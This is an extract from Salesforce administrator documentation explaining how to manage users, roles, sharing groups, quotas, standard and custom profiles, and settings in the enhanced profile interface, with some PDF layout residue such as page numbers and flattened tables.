User Permissions Needed To grant Checkout access: To edit users: Manage Billing Manage Users

Users with the Manage Billing permission automatically have access to Checkout when it is enabled for your organization. These users can also grant access to other users within your organization. To give a user access to Checkout: 1. 2. 3. 4. Click Your Name > Setup > Manage Users > Users. Click on the appropriate user's name to open the user detail page. Click Edit. Select the Checkout Enabled checkbox. The user is notified by email when his or her Checkout account is activated and available for login.

Setting Quotas for Customizable Forecasting

482

User Management

Viewing and Managing Users

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set your quota: To set any users quota: Edit Personal Quota Manage Users

Users with the appropriate permission can set their individual quota. Administrators and users with the appropriate permission can always edit any quota, and managers can always change the quotas of users that report directly to them in the role hierarchy. 1. To set your personal quota, click Your Name > Setup > My Personal Information > Personal Information. To change the quota of a user that reports to you, click Your Name > Setup > Manage Users > Users, and select the appropriate user. 2. Click Edit in the Quotas related list. 3. Select the appropriate range start and range length. If available, select a territory and product family. Note: If your organization uses custom fiscal years, you cannot set quotas for a period that does not have a defined fiscal year. 4. Enter the quota amounts for revenue and/or quantity. 5. Select the appropriate currency if you work with more than one currency. 6. Click Save to save the quota and return to the user detail page, or click Quick Save to save the values and continue to edit the quota. Tip: Using Quick Save allows you to quickly set a different quota for each product family.

Note: If these options are not available to you, you may not have customizable forecasting. To determine if your organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 2242. For information on setting quotas if you do not have customizable forecasting, see Adding and Editing Quotas on page 45. You can also use tools like the Data Loader to do mass updates on quotas. When updating quotas, set the quota field value on the RevenueForecast or QuantityForecast objects.

See Also:
Viewing and Managing Users

Managing Roles

483

User Management

Managing Roles

Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create, edit, and delete roles: To assign users to roles: Manage Users Manage Users

Depending on your sharing settings, roles can control the level of visibility that users have into your organizations data. Users at any given role level can view, edit, and report on all data owned by or shared with users below them in the hierarchy, unless your organizations sharing model for an object specifies otherwise. Specifically, in the Organization-Wide Defaults related list, if the Grant Access Using Hierarchies option is disabled for a custom object, only the record owner and users granted access by the organization-wide defaults receive access to the object's records. Note: The following information applies to roles for your organization's users. For information about roles for partner users and Salesforce Customer Portal users, see About Partner Portal Channel Manager User Management on page 3077 and About Customer Portal User Management on page 1570.

Working with Roles


To view and manage your organization's roles, click Your Name > Setup > Manage Users > Roles. Choose one of the following list view options: Show in tree view See a visual representation of the parent-child relationships between your roles. Click Expand All to see all roles, or Collapse All to see only top-level roles. To expand or collapse an individual node, click the plus (+) or minus (-) icon. Show in sorted list view See a list that you can sort alphabetically by role name, parent role (Reports to), or report display name. If your organization has a large number of roles, use this view for easy navigation and filtering. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Show in list view See a list of roles and their children, grouped alphabetically by the name of the top-level role. The columns are not sortable. This view is not available for hierarchies with more than 1,000 roles. To create a role, click New Role or Add Role, depending whether you are viewing the list view or tree view of roles, then edit the role fields as needed. You can create up to 500 roles for your organization. To edit a role, click Edit next to a role name, then update the role fields as needed. To delete a role, click Delete next to the role name. To assign other users to a role, click Assign next to the role name. To view detailed information about a role, click a role name. If you are a Salesforce Knowledge user, you can modify category visibility settings on the role detail page.

484

User Management

Managing Roles

Tip: To simplify user management in organizations with large numbers of users, enable delegated administrators to manage users in specified roles and all subordinate roles.

Notes on Roles
Every user must be assigned to a role, or their data will not display in opportunity reports, forecast roll-ups, and other displays based on roles. If your organization uses territory management, forecasts are based on the territory hierarchy rather than the role hierarchy. All users that require visibility to the entire organization should belong to the highest level in the hierarchy. It is not necessary to create individual roles for each title at your company, rather you want to define a hierarchy of roles to control access of information entered by users in lower level roles. When you change a users role, any relevant sharing rules are evaluated to add or remove access as necessary. When an account owner is not assigned a role, the sharing access for related contacts is Read/Write, provided the organization-wide default for contacts is not Controlled by Parent. Sharing access on related opportunities and cases is No Access. Users that gain access to data due to their position in hierarchies do so based on a setting in your organization-wide defaults.

See Also:
Viewing and Editing Roles Setting Up Your Customer Portal Managing Data Categories What is Salesforce Knowledge?

Viewing and Editing Roles


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view role details: To edit and delete roles: To view users: To edit users: View Setup and Configuration Manage Users View Setup and Configuration Manage Users

To view detailed information about a role, click Your Name > Setup > Manage Users > Roles, and click the role name. In the Role Detail related list: To view the role detail page for a parent or sibling role, click the role name in the Hierarchy or Siblings list. To edit the role details, click Edit. To remove the role from the hierarchy, click Delete.

In the Users in Role related list:

485

User Management

Managing Roles

To assign a user to the role, click Assign Users to Role. To add a user to your organization, click New User. To modify user information, click Edit next to a user name. To view a user's details, click the user's full name, alias, or username. When Active is selected, the user can log into Salesforce. Deactivated users, such as employees who are no longer with your company, cannot log in to Salesforce.

In the Category Group Visibility Settings related list, you can: Click a category group to view its setting details. Click Edit next to a category group to modify its visibility settings. Note: When you edit groups, roles, and territories, sharing rules are usually automatically reevaluated to add or remove access as needed. If these changes affect too many records at once, a message appears warning that the sharing rules won't be automatically reevaluated, and you must manually recalculate them.

See Also:
Recalculating Sharing Rules Managing Roles Role Fields Managing Data Categories

Assigning Users to Roles


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To assign users to roles: Manage Users

To quickly assign users to a particular role: 1. Click Your Name > Setup > Manage Users > Roles. 2. Click Assign next to the name of the desired role. Note: You can also access this page by clicking Assign Users to Role from the Users in Role related list.

3. Make a selection from the drop-down list to show the available users. 4. Select a user on the left, and click Add to assign the user to this role.

486

User Management

Managing Roles

Note: Removing a user from the Selected Users list deletes the role assignment for that user.

See Also:
Role Fields Managing Roles Viewing and Editing Roles

Role Fields
Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create or edit roles: Manage Users

The following fields (listed in alphabetical order) make up a role entry. Some of these fields may not be visible or editable depending on your organization's permissions and sharing settings. Field
Case Access

Description Specifies whether users can access other users cases that are associated with accounts the users own. This field is not visible if your organizations sharing model for cases is Public Read/Write. Specifies whether users can access other users contacts that are associated with accounts the users own. This field is not visible if your organizations sharing model for contacts is Public Read/Write or Controlled by Parent. The name of the user who last modified this role's details, and the date and time that the role was modified. Specifies whether users can access other users opportunities that are associated with accounts the users own. This field is not visible if your organizations sharing model for opportunities is Public Read/Write.

Contact Access

Modified By

Opportunity Access

487

User Management

Managing Roles

Field
Partner Role

Description Indicates whether this role is associated with a partner account. This field is available only when a Customer Portal or partner portal is enabled for the organization. If this checkbox is selected, you cannot edit the role. The roles in a portal role hierarchy are fixed. You cannot customize them or add new ones.

Role Name

Title of position or role in an organization, for example, Western Sales VP. A role name that appears in reports. When editing a role, if the Role Name is long, you can enter an abbreviated name in this field. These groups are automatically created and maintained. The Role group contains all users in this role plus all users in roles above this role. The Role and Subordinates group contains all users in this role plus all users in roles above and below this role in the hierarchy. The Role and Internal Subordinates group (available if Customer Portals or partner portals are enabled for your organization) contains all users in this role plus all users in roles above and below this role, excluding Customer Portal and partner portal users. The role above this role in the hierarchy.

Role Name as displayed on reports

Sharing Groups

This role reports to

See Also:
Assigning Users to Roles Managing Roles

Viewing Role and Territory Sharing Groups

488

User Management

Managing Roles

Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Territories are not available in Database.com

User Permissions Needed To view users: To edit users: View Setup and Configuration Manage Users

For each role in your hierarchy Salesforce automatically creates sharing groups, which you can use in sharing rules and manual sharing: Roleusers in the role plus users in roles above it in the hierarchy Role and Subordinatesusers in the role plus users in roles above and below it in the hierarchy Role and Internal Subordinatesusers in the role, plus users in roles above and below it in the hierarchy, excluding Customer Portal or partner portal users. This group is visible only if Customer Portals or partner portals are enabled for your organization.

If territory management is enabled for your organization, each territory has sharing groups: Territoryusers in the territory plus users in territories above it in the hierarchy Territory and Subordinatesusers in the territory plus users in territories above and below it in the hierarchy Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your organization-wide defaults. To view sharing group members: 1. For roles, click Your Name > Setup > Manage Users > Roles. For territories, click Your Name > Setup > Manage Territories > Hierarchy. 2. Click the role or territory name. 3. Click a link in the Sharing Groups field. From this page, you can view detailed user information, edit user information, and access related information. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click Edit next to a username to edit the user information. Click Login next to a username to log in as that user. This link is only available if the user has granted you login access.

See Also:
Role Fields

Viewing Users in Role Lists


489

User Management

User Profiles Overview

Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view users: To edit users: View Setup and Configuration Manage Users

The users in role list page displays a list of users assigned to the selected role. From this page, you can view detailed user information, edit users, and access other related information. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click Edit next to a user name to edit the user information. Click Login next to a user name to log in as that user. This link is only available for users who have granted login access to an administrator.

See Also:
Managing Roles

User Profiles Overview


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

A profile contains user permissions and access settings that control what users can do within Salesforce, the partner portal, and the Customer Portal. Depending on which profile user interface is enabled in your organization, you can: View and edit profiles in the enhanced profile user interface View and edit profiles in the original profile user interface

You can also change permissions in multiple profiles from the list view. Profiles control: Which standard and custom apps users can view Which tabs users can view Which record types are available to users Which page layouts users see Object permissions that allow users to create, read, edit, and delete records Which fields within objects users can view and edit Permissions that allow users to manage the system and apps within it Which Apex classes and Visualforce pages users can access

490

User Management

User Profiles Overview

Which desktop clients users can access The hours during which and IP addresses from which users can log in Which service providers users can access (if Salesforce is enabled as an identity provider) Note: Chatter customers (users with the Chatter External User profile) can only see groups they belong to and people in those groups; they can't see any Salesforce information. If your organization uses a custom domain or IP restrictions, it's recommended that users with the Chatter External User log in using single sign-on on page 630.

Every organization has standard profiles. In Contact Manager, Group, and Professional Edition organizations, you can assign standard profiles to your users, but you can't view or edit the standard profiles or create custom profiles. In Enterprise, Unlimited, and Developer Edition organizations, you can use standard profiles, or create, edit, and delete custom profiles. For standard profiles, only certain settings can be changed. Each standard or custom profile belongs to exactly one user license type.

See Also:
Overview of User Permissions and Access Standard Profiles Viewing User License Types Cloning Profiles

Standard Profiles
The standard profiles available vary according to the Edition you have.

There are standard profiles in every Salesforce organization. In Enterprise, Unlimited, and Developer Edition, you can use standard profiles or create, edit, and delete custom profiles. In organizations where you can't create custom profiles (such as Contact Manager, Group, and Professional Edition), you can assign standard profiles to your users, but you can't view or edit them. Profile Name System Administrator Available Permissions Can configure and customize the application. Has access to all functionality that does not require an additional license. For example, administrators cannot manage campaigns unless they also have a Marketing User license. Can manage price books and products. Can edit any quota, override forecasts, and view any forecast. Can use custom Force.com AppExchange apps developed in your organization or installed from AppExchange. In addition, can use core platform functionality such as accounts, contacts, reports, dashboards, and custom tabs. For more information on Salesforce Platform user licenses, see Viewing User License Types on page 567.

Standard Platform User

491

User Management

User Profiles Overview

Profile Name Standard Platform One App User

Available Permissions Can use one custom AppExchange app developed in your organization or installed from AppExchange. The custom app is limited to five tabs. In addition, can use core platform functionality such as accounts, contacts, reports, dashboards, and custom tabs. Can create and edit most major types of records, run reports, and view the organization's setup. Can view, but not manage, campaigns. Can create, but not review, solutions. Can edit personal quota and override forecasts. Can only log in via a partner portal. Can only log in via a Customer Portal. For more information, see About High-Volume Portal Users (Service Cloud Portal Users) on page 1575

Standard User

Partner User High Volume Customer Portal User and Authenticated Website User Both user licenses are high-volume portal users Customer Portal User

Can only log in via a Customer Portal. Can view and edit data they directly own or data owned by or shared with users below them in the Customer Portal role hierarchy; and they can view and edit cases where they are listed in the Contact Name field. Can only log in via a Customer Portal. Can view and edit data they directly own or data owned by or shared with users below them in the Customer Portal role hierarchy; and they can view and edit cases where they are listed in the Contact Name field. Can review and publish solutions. Also has access to the same functionality as the Standard User. Can manage campaigns, import leads, create letterheads, create HTML email templates, manage public documents, and update campaign history via the import wizards. Also has access to the same functionality as the Standard User. Can create, edit, activate, and approve contracts. This profile can also delete contracts as long as they are not activated. Can edit personal quota and override forecasts. Can view the organization's setup, run and export reports, and view, but not edit, other records. Can only log in to Chatter. Can access all standard Chatter people, profiles, groups, and files. Additionally, they can: View Salesforce accounts and contacts Use Salesforce CRM Content, Salesforce CRM Ideas, and Answers

Customer Portal Manager

Solution Manager Marketing User

Contract Manager

Read Only Chatter Only User

492

User Management

User Profiles Overview

Profile Name

Available Permissions Modify up to ten custom objects Note: You must expose the tabs for the standard Salesforce objects that the Chatter Only user profile can access, as they are hidden by default for these users. Professional Edition organizations must have Profiles enabled to perform these tasks. Contact your sales representative for more information. Only available with the Chatter Only user license.

Chatter Free User

Can only log in to Chatter. Can access all standard Chatter people, profiles, groups, and files. Only available with the Chatter Free user license.

Chatter External User

Can only log into Chatter and access groups they've been invited to and interact with members of those groups. Only available with the Chatter External user license. Can only log in to Chatter. Can access all standard Chatter people, profiles, groups, and files. Additionally, this user can: Activate and deactivate other Chatter Free users and moderators Grant and revoke moderator privileges Delete posts and comments that they can see Note: Changing a user's profile from Chatter Moderator User to Chatter Free User removes moderator privileges in Chatter. If a user is assigned a custom Chatter profile that you created, they will lose the custom profile settings when assigned to the Chatter Moderator User profile. Only available with the Chatter Free user license.

Chatter Moderator User

Siteforce Only User

Can only log in to the Siteforce app. Each Siteforce Only user also needs a Siteforce Publisher feature license to create and publish sites, or a Siteforce Contributor feature license to edit the site's content. See Setting Up Siteforce Users on page 2072. Additionally, this user can: Use one custom app with up to 20 custom objects Access the Content app, but not the Accounts and Contacts objects Create unlimited custom tabs

493

User Management

User Profiles Overview

Profile Name

Available Permissions Only available with the Siteforce Only user license.

See Also:
User Profiles Overview About Customer Portal User Management Overview of User Permissions and Access

Viewing Profile Lists


Available in: Enterprise, Unlimited, Developer, and Database.com Editions The Customer Portal and partner portals are not available in Database.com

User Permissions Needed To view profiles, and print profile lists: To delete profile list views: To delete custom profiles: View Setup and Configuration Manage Users Manage Users AND Customize Application

A profile contains user permissions and access settings that control what users can do within Salesforce, the partner portal, and the Customer Portal. To view the profiles in your organization, click Your Name > Setup > Manage Users > Profiles. Viewing Enhanced Profile Lists If enhanced profile list views are enabled for your organization, you can use additional tools to customize, navigate, manage, and print profile lists. Show a filtered list of profiles by selecting a view from the drop-down list. Delete a view by selecting it from the drop-down list and clicking Delete. Create a list view or edit an existing view. Create a profile. Print a list view. Refresh the list view after creating or editing a view by clicking . Edit permissions directly in the list view. View or edit a profile by clicking its name. Delete a custom profile by clicking Del next to its name.

494

User Management

User Profiles Overview

Viewing the Basic Profile List Create a profile. View or edit a profile by clicking its name. Delete a custom profile by clicking Del next to its name.

See Also:
User Profiles Overview Creating and Editing Profile List Views Working in the Enhanced Profile User Interface Overview Page Working with Profiles in the Original Profile Interface Customizing User Interface Settings

Creating and Editing Profile List Views


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create, edit, and delete profile list views: Manage Users

If enhanced profile list views are enabled for your organization, you can create profile list views to show a set of profiles with the fields you choose. For example, you could create a list view of all profiles in which Modify All Data is enabled. 1. In the Profiles page, click Create New View, or select a view and click Edit. 2. Enter the view name. 3. Under Specify Filter Criteria, specify the conditions that the list items must match, such as Modify All Data equals True. a. b. c. d. Type a setting name, or click the lookup icon to search for and select the setting you want. Choose a filter operator. Enter the value that you want to match. To specify another filter condition, click Add New. You can specify up to 25 filter condition rows. Note: To remove a filter condition row and clear its values, click the remove row icon .

4. Under Select Columns to Display, specify the profile settings that you want to appear as columns in the list view. a. From the Search drop-down list, select the type of setting you want to search for. b. Enter part or all of a word in the setting you want to add and click Find.

495

User Management

User Profiles Overview

Note: If the search finds more than 500 values, no results appear. Use the preceding steps to refine your search criteria and show fewer results. c. To add or remove columns, select one or more column names and click the Add or Remove arrow. d. Use the Top, Up, Down, and Bottom arrows to arrange the columns in the sequence you want. Note: You can add up to 15 columns in a single list view.

5. Click Save, or if you're cloning an existing view, rename it and click Save As.

See Also:
User Profiles Overview Editing Profiles Using Profile Lists Viewing Profile Lists Deleting List Views

Editing Profiles Using Profile Lists


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To edit multiple profiles from the list view: Manage Users AND Customize Application AND Mass Edits from Lists

If the Enable Inline Editing and Enable Enhanced Profile List Views user interface settings are enabled for your organization, you can change permissions in up to 200 profiles directly from the list view, without accessing individual profile pages. Editable fields display a pencil icon ( ) when you hover over the field, while non-editable fields display a lock icon ( ). In some cases, such as in standard profiles, the pencil icon appears but the setting is not actually editable. Caution: Use care when editing profiles with this method. Because profiles affect a user's fundamental access, making mass changes may have a widespread effect on users in your organization. To change permissions in one or more profiles: 1. Select or create a list view that includes the profiles and permissions you want to edit.

496

User Management

User Profiles Overview

2. To edit multiple profiles, select the checkbox next to each profile you want to edit. If you select profiles on multiple pages, Salesforce remembers which profiles are selected. 3. Double-click the permission you want to edit. For multiple profiles, double-click the permission in any of the selected profiles. 4. In the dialog box that appears, enable or disable the permission. In some cases, changing a permission may also change other permissions. For example, if Manage Cases and Transfer Cases are enabled in a profile and you disable Transfer Cases, then Manage Cases is also disabled. In this case, the dialog box lists the affected permissions. 5. To change multiple profiles, select All n selected records (where n is the number of profiles you selected). 6. Click Save. Note: For standard profiles, inline editing is available only for the Single Sign-On and Affected By Divisions permissions. If you edit multiple profiles, only those profiles that support the permission you are changing will change. For example, if you use inline editing to add Modify All Data to multiple profiles, but because of its user license the profile doesn't have Modify All Data, the profile won't change.

If any errors occur, an error message appears, listing each profile in error and a description of the error. Click the profile name to open the profile detail page. The profiles you've clicked appear in the error window in gray, strike-through text. Note: To view the error console, pop-up blockers must be disabled for the Salesforce domain. To check if your browser allows pop-up windows, click Your Name > Setup > My Personal Information > Reminders, and then click Preview Reminder Alert. Any changes you make are recorded in the setup audit trail.

See Also:
Viewing Profile Lists

Cloning Profiles
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create profiles: Manage Users

Note: If you're cloning a profile to enable certain permissions or access settings for one or more users, you might be able to enable those permissions or access settings using permission sets. For more information, see Permission Sets Overview. 1. Click Your Name > Setup > Manage Users > Profiles. 2. In the Profiles list page, do one of the following: Click New Profile, then select an existing profile that's similar to the one you want to create.

497

User Management

User Profiles Overview

If enhanced profile list views are enabled, click Clone next to a profile that's similar to the one you want to create. Click the name of a profile that's similar to the one you want to create, then in the profile page, click Clone.

A new profile uses the same user license as the profile it was cloned from. 3. Enter a profile name. 4. Click Save.

See Also:
User Profiles Overview

Viewing a Profile's Assigned Users


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view users that are assigned to a profile: To create and edit users: View Setup and Configuration Manage Users

To view all users that are assigned to a profile from the profile overview page, click Assigned Users (in the enhanced profile user interface) or View Users (in the original profile user interface). From the assigned users page, you can: Create one or multiple users Reset passwords for selected users Edit a user View a user's detail page by clicking the name, alias, or username View or edit a profile by clicking the profile name Export users to Google and create Google Apps accounts (if Google Apps is enabled in your organization)

See Also:
User Profiles Overview

Enhanced Profile User Interface Overview


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The enhanced profile user interface provides a streamlined experience for managing profiles. With it, you can easily navigate, search, and modify settings for a profile.

498

User Management

User Profiles Overview

You can enable the enhanced profile user interface in the User Interface settings page. Your organization can only use one profile user interface at a time. You can't use the enhanced profile user interface if: You use Microsoft Internet Explorer 6 or earlier to manage your profiles (unless you've installed the Google Chrome Frame plug-in for Internet Explorer). Your organization uses category groups on guest profiles used for sites. Your organization delegates partner portal administration to portal users.

See Also:
Working in the Enhanced Profile User Interface Overview Page App and System Settings in the Enhanced Profile User Interface User Profiles Overview

Working in the Enhanced Profile User Interface Overview Page


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Assigned apps, standard objects, tabs, and Visualforce are not available in Database.com

User Permissions Needed To view profiles: To delete profiles and edit profile properties: View Setup and Configuration Manage Users

In the enhanced profile user interface, the profile overview page provides an entry point for all of the settings and permissions for a single profile. To open the profile overview page, click Your Name > Setup > Manage Users > Profiles and click the profile you want to view. From the profile overview page, you can: Search for an object, permission, or setting Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties View a list of users who are assigned to the profile Click any of the following links to view or edit permissions and settings: Assigned Apps Objects and Tabs App Permissions Apex Class Access Visualforce Page Access System Permissions

499

User Management

User Profiles Overview

Desktop Client Access Login Hours Login IP Ranges Service Providers (if Salesforce is enabled as an identity provider)

See Also:
App and System Settings in the Enhanced Profile User Interface Enhanced Profile User Interface Overview

App and System Settings in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Database.com Edition doesn't include assigned apps, tabs, record types, page layouts, Visualforce, and desktop clients

In the enhanced profile user interface, administrators can easily navigate, search, and modify settings for a single profile. Permissions and settings are organized into pages under app and system categories, which reflect the rights users need to administer and use app and system resources. App Settings Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All underlying objects, components, data, and configurations remain the same, regardless of the selected app. In selecting an app, users navigate in a set of tabs that allows them to efficiently use the underlying functionality for app-specific tasks. For example, let's say you do most of your work in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing campaign, rather than adding the Campaigns tab to the sales app, you select Marketing from the app drop-down to view your campaigns and campaign members. In the enhanced profile user interface, the Apps section of the overview page contains settings that are directly associated with the business processes that the apps enable. For example, customer service agents may need to manage cases, so the Manage Cases permission is in the Call Center section of the App Permissions page. Some app settings aren't related to app permissions. For example, to enable the Time-Off Manager app from the AppExchange, users need access to the appropriate Apex classes and Visualforce pages, as well as the object and field permissions that allow them to create new time-off requests. The Apps section contains links to these pages: Assigned Apps Objects and Tabs, which include: Tab Settings Record Types and Page Layout Settings Object Permissions Field Permissions

App Permissions Apex Class Access Visualforce Page Access

500

User Management

User Profiles Overview

Note: Regardless of the currently selected app, all of a user's permissions are respected. For example, although the Import Leads permission is under the Sales category, a user can import leads even while in the Call Center app.

System Settings Some system functions apply to an organization and not to any single app. For example, login hours and login IP ranges control a user's ability to log in, regardless of which app the user accesses. Other system functions apply to all apps. For example, the Run Reports and Manage Dashboards permissions allow managers to create and manage reports in all apps. In some cases, such as with Modify All Data, a permission applies to all apps, but also includes non-app functions, like the ability to download the Data Loader and empty the organization's recycle bin. In the enhanced profile user interface, the System section of the overview page contains links to these pages: System Permissions Desktop Client Access Login Hours Login IP Ranges Service Providers (if Salesforce is enabled as an identity provider)

See Also:
Enhanced Profile User Interface Overview

Searching in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions The following items don't appear in searches when using the enhanced profile user interface with Database.com: standard objects, assigned apps, tabs, Visualforce page access settings, and desktop client access settings.

User Permissions Needed To find permissions and settings in a profile: View Setup and Configuration

On any of the profile pages, type at least three consecutive letters of an object, tab, permission, or setting name in the Find Settings... box. The search terms aren't case-sensitive. As you type, suggestions for results that match your search terms appear in a list. Click an item in the list to go to its settings page. You can search for: Item Assigned apps Objects Example Type sales in the Find Settings box, then select Sales from the list. Type Acco, then select Accounts.

Fields (Find the object that the field is part of.) To find the Description field for accounts, type acco, select Accounts, and scroll down to Description under Field Permissions.

501

User Management

User Profiles Overview

Item Tabs App permissions Apex class access settings Visualforce page access settings System permissions Desktop client access settings Login hours and login IP ranges

Example Type rep, then select Reports. Type lEaD, then select Import Leads. Type apex, then select Apex Class Access. Type VISU, then select Visualforce Page Access. Type api, then select API Enabled. Type des, then select Desktop Client Access. Type log, then select Login Hours or Login IP Ranges. Or type ip r, then select Login IP Ranges.

Service providers (available only if Salesforce is enabled as an identity provider)

Type serv, then select Service Providers.

If no results appear in a search: The permission, object, tab, or setting you're searching for may not be available in the current organization. The item you're searching for may not be available for the user license that's associated with the current profile. For example, if a profile's user license is High Volume Customer Portal User, it doesn't include the Modify All Data permission. Be sure your search terms have at least three consecutive characters that match the name of the item you want to find. Be sure the search term is spelled correctly.

Working with Assigned Apps in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view assigned app settings: To edit assigned app settings: View Setup and Configuration Manage Users

In the enhanced profile user interface, the Assigned Apps page shows which apps are visible to users with the selected profile. The default app appears when users log in for the first time. Every profile must have at least one visible app, except for profiles associated with Customer Portal users because apps are not available to them. On the Assigned Apps page in the enhanced profile user interface, you can: Change the assigned apps by clicking Edit Search for an object, permission, or setting Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties

502

User Management

User Profiles Overview

Go to the profile overview page by clicking Profile Overview Switch to a different settings page by clicking the down arrow next to the Assigned Apps link and selecting the page you want

See Also:
Working in the Enhanced Profile User Interface Overview Page

Working with Objects and Tabs in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, Developer, and Database.com Editions Tabs, record types, and page layouts are not available in Database.com

User Permissions Needed To view object and tab permissions and settings: To edit object and tab permissions and settings: View Setup and Configuration Manage Users AND Customize Application

In the enhanced profile user interface, the Objects and Tabs page shows tab settings, record types and page layout settings, object permissions, and field permissions for all objects and tabs in your organization. On the Objects and Tabs pages in the enhanced profile user interface, you can: Click an object or tab name to view more details of its settings Once you're in an object or tab page, change the settings and permissions by clicking Edit Search for an object, permission, or setting Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview Switch to a different settings page by clicking the down arrow next to the Objects and Tabs name and selecting the page you want

503

User Management

User Profiles Overview

If you're in an object or tab page, switch to a different object or tab page by clicking the down arrow next to the object or tab name and selecting the object or tab you want

See Also:
Setting Tab Visibility Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface Object Permissions Field-Level Security Overview Field Permissions Working in the Enhanced Profile User Interface Overview Page

Setting Tab Visibility


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set tab visibility: Manage Users

1. Click Your Name > Setup > Manage Users > Profiles. 2. Select a profile. 3. Depending on which user interface you're using, do one of the following: Enhanced profile user interfaceIn the Find Settings... box, enter the name of the tab you want and select it from the list, then click Edit. Original profile user interfaceClick Edit, then scroll to the Tab Settings section.

4. Specify the tab visibility. Setting


Default On

Description Show the tab by default for users with this profile. Individual users can override this setting. The Home tab setting can't be changed from Default On. Hide the tab by default for users with this profile. Individual users can override this setting. Hide the tab and don't allow individual users to override this setting in their personal customization. Using this setting doesn't prevent users from accessing the records or list views from a tab; to prevent users from seeing records of that object type, remove the Read permission for the object.

Default Off

Tab Hidden

5. (Original profile user interface only) To reset users tab customizations to the tab visibility settings that you specify, select Overwrite users' personal tab customizations. 6. Click Save.

504

User Management

User Profiles Overview

Note: If Salesforce CRM Content is enabled for your organization but an administrator has not selected the Salesforce CRM Content User checkbox on the user detail page, the Salesforce CRM Content app has no tabs. The tabs display when the Salesforce CRM Content User checkbox is selected.

See Also:
Customizing Your Display

Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit object permissions and settings: Manage Users AND Customize Application

In the enhanced profile user interface, Record Types and Page Layout Assignments settings determine the record type and page layout assignment mappings that are used when users view records. They also determine which record types are available when users create or edit records. To specify record types and page layout assignments: 1. 2. 3. 4. 5. Click Your Name > Setup > Manage Users > Profiles. Select a profile. In the Find Settings... box, enter the name of the object you want and select it from the list. Click Edit. In the Record Types and Page Layout Assignments section, make changes to the settings as needed. Setting Record Types Description Lists all existing record types for the object.
--Master-- is a system-generated record type that's used when a record has no custom record type associated with it. When --Master-- is assigned, users

can't set a record type to a record, such as during record creation. All other record types are custom record types. Page Layout Assignment The page layout to use for each record type. The page layout determines the buttons, fields, related lists, and other elements that users with this profile see when creating records with the associated record type. Since all users can access all record types, every record type must have a page layout assignment, even if the record type isn't specified as an assigned record type in the profile.

505

User Management

User Profiles Overview

Setting Assigned Record Types

Description Record types that are checked in this column are available when users with this profile create records for the object. If --Master-- is selected, you can't select any custom record types; and if any custom record types are selected, you can't select --Master--. The default record type to use when users with this profile create records for the object.

Default Record Type

The Record Types and Page Layout Assignments settings have some variations for the following objects or tabs. Object or Tab Accounts Variation If your organization uses person accounts, the accounts object additionally includes Business Account Default Record Type and Person Account Default Record Type settings, which specify the default record type to use when the profile's users create business or person account records from converted leads. The cases object additionally includes Case Close settings, which show the page layout assignments to use for each record type on closed cases. That is, the same record type may have different page layouts for open and closed cases. With this additional setting, when users close a case, the case may have a different page layout that exposes how it was closed. You can't specify custom record types for the home tab. You can only select a page layout assignment for the --Master-- record type.

Cases

Home

6. Click Save.

See Also:
Managing Record Types Managing Page Layouts

Working with App Permissions in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view app permissions: To edit app permissions: View Setup and Configuration Manage Users

App permissions control what users can do within an app. For example, The Import Leads permission allows users to import leads in a sales app, while Manage Cases allows users to manage cases in a call center app.

506

User Management

User Profiles Overview

On the App Permissions page in the enhanced profile user interface, you can: Change the app permissions by clicking Edit Note: Editing some permissions may automatically cause other permissions to be enabled or disabled. In some cases, affected permissions are enabled or disabled on a separate page, so the change may not be immediately apparent. For example, enabling the Transfer Leads app permission automatically enables the Read and Create object permissions for leads. Search for an object, permission, or setting Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview Switch to a different settings page by clicking the down arrow next to the App Permissions name and selecting the page you want

See Also:
User Permissions Working in the Enhanced Profile User Interface Overview Page

Working with Apex Class Access in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view Apex class access settings: To edit Apex class access settings: View Setup and Configuration Manage Users

